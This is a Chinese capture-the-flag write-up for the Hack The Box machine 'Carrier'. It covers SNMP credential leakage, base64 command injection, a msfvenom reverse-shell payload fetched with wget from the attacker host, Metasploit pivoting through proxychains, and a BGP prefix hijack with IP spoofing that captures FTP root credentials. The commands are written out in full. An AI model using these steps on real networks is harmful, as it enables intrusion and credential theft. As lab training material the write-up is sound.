内容简介:大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Carrier的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章,还望斧正。HTB的入坑,平台和网上都能简单的搜到,我就不在此赘述了,本人和朋友在HTB建立了团队以及交流群,如果有意参加,请联系我:Q_1147315521SNMP弱口令public泄露
前言
大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Carrier的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章,还望斧正。HTB的入坑,平台和网上都能简单的搜到,我就不在此赘述了,本人和朋友在HTB建立了团队以及交流群,如果有意参加,请联系我:Q_1147315521
本文涉及知识点:
SNMP弱口令public泄露
Python本地服务器搭建
命令执行绕过
MSF结合NMAP进行内网扫描
BGP前缀劫持
实战
Carrier靶机地址: https://www.hackthebox.eu/home/machines/profile/155
目标IP: 10.10.10.105(Linux)
本机IP: 10.10.14.3(Kali)
目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)
信息收集
NMAP端口扫描
首先使用NMAP对目标进行端口扫描,以确定下一步的操作:
nmap -sC -sV -oA Carrier 10.10.10.105
#通过默认脚本扫描获取版本并导出为文件
nmap -sU -sV -oA test 10.10.10.105
#通过udp扫描获取版本并导出为文件
得知21、80、161端口开放,且161端口SNMP共同体pulic开启
因为是靶机渗透,所以账号爆破的操作不被优先考虑。
对网页进行访问获取更多信息:
只有一个登陆框以及两个错误代码。
进行目录爆破:
获得/doc/文件下的
网络拓扑图:
以及网站系统错误代码文档:
得知:网站使用默认的用户名admin以及密码序列号,我们访问的网页处于AS100机器中,AS200有FTP服务,AS300进行FTP连接操作。
没有发现其他有用信息,接下来进行161端口的SNMP弱口令pulic的利用:
所需工具:snmpwalk
snmpwalk -v 1 -c public 10.10.10.105
# -v指定协议版本 -c 指定共同体字符串
获得密码NET_45JDX23
利用凭据登录
得知:10.120.15.0/24网段中存在FTP服务
可在diag.php页面进行命令执行。
获取USER权限
使用burpsuite对diag页面数据进行抓取
命令参数为check,为base64编码,解码为quagga 与页面显示结果符合。
直接将简单的 Linux 命令进行base64编码并代入参数,发现页面返回空白
测试最简单的命令绕过:
cXVhZ2dhIHwgbHM= #quagga | ls
执行成功可以看到user.txt已经躺着那里了,user.txt目标完成
获取ROOT权限
已知信息:
目前为root权限但并不是目标主机10.10.10.105的root,目前我们处于网络拓扑图中的AS100主机
为了更详细方便的获取信息,使用msfvenom生成elf文件进行反弹 shell 至msf上.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=3333 -f elf > shell.elf
#使用linux/x86/meterpreter/reverse_tcp payload,将shell反弹至10.10.14.3的3333端口,生成之后使用 python 2中的SimpleHTTPServer模块进行快速搭建http服务
在命令执行的地方获取并执行:
wget http://10.10.14.3:8000/shell.elf
chmod 777 shell.elf
在本地msf监听3333端口:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 3333
在目标机执行./shell.elf
命令执行处较为麻烦就不进行截图了
成功获得反弹shell:
接下来需要对目标的网络环境进行详细查探:
添加路由:
use post/multi/manage/autoroute
set session 1
可以看到网络很复杂并且没有目标ip。
route中的ip将通过session 1进行访问
接下来设置SOCKS代理
use auxiliary/server/socks4a
set srvport 1090
run -j
成功设置后
我们将通过proxychains包 进行代理
apt-get install proxychains
未安装可使用以上命令进行安装
编辑/etc/proxychains.conf 进行配置
vi /etc/proxychains.conf
添加以下内容:
[ProxyList]
#add proxy here ...
#meanwile
#defaults set to "tor"
socks4 127.0.0.1 1090
配置成功,在终端运行proxychains [工具] 将使用代理运行。
proxychains nmap -sT -Pn 10.120.15.0/24 -p 21,22,23,25,80,443,445,3389,8000,8080
使用nmap扫描10.120.15网段中开启的关键端口
发现10.120.15.10开放FTP服务
未获取其他有效信息,现在查看之前已控制主机的网络
netstat -pantu
有bgp服务的2601端口开放,根据之前得到的信息,我们现在需要进行BGP劫持获得AS200(10.120.15.10) FTP尝试登陆的账号密码
思路:通过修改bgp路由欺骗AS200将数据传输至已控主机。
在已控主机中依次运行以下命令
路由伪造:
vtysh
config terminal
router bgp 100
network 10.120.15.0/32
end
exit
IP伪造:
ip address add 10.120.15.10/24 dev eth2
现在10.120.15.10已经将数据源源不断的传至已控主机
为了获得FTP登陆的数据,我们可在已控主机搭建FTP服务
使用以下FTP脚本:
代码较冗长,我已上传至Github:
https://github.com/b1ngda0/FtpServicePython/
运行后可以看到已经获取到账号root以及登陆密码
使用ssh进行登录
已经获取root权限以及root.txt
渗透完成!
个人感悟
文中的bgp劫持类似于arp欺骗,靶机环境为一个网关两台路由器,一台路由器连接一台服务器,服务器接收到消息后先找路由器,我们通过路由伪造,使两台路由器地址一样,又进行了IP伪造,使IP离AS200近,于是AS200将数据传输至已控主机,此时我们使用ftp脚本获取或者进行tcpdump抓包就可以获取数据。
文献参考
snmap弱口令:
https://blog.csdn.net/archersaber39/article/details/78932252
msf代理设置nmap扫描:
https://blog.csdn.net/h4ck0ne/article/details/50570749
http://www.blackhillsinfosec.com/use-nmap-meterpreter
bgp劫持:
https://en.wikipedia.org/wiki/BGP_hijacking
https://www.isi.deterlab.net/file.php?file=/share/shared/BGPhijacking
https://github.com/mininet/mininet/wiki/BGP-Path-Hijacking-Attack-Demo
http://cs.slu.edu/~espositof/teaching/4650/lab3/以上所述就是小编给大家介绍的《HTB靶机渗透实战——Carrier》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 渗透测试实战-Blacklight靶机+DeRPnStiNK靶机入侵
- 渗透测试实战-eric靶机+HackInOS靶机入侵
- 渗透测试实战-lin.security靶机+Goldeneye靶机入侵
- 渗透测试实战-ROP靶机PWN+SolidState靶机入侵
- 渗透测试实战——unknowndevice64-1靶机+Moonraker靶机入侵
- Cyberry靶机渗透测试
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
URL 编码/解码
URL 编码/解码
html转js在线工具
html转js在线工具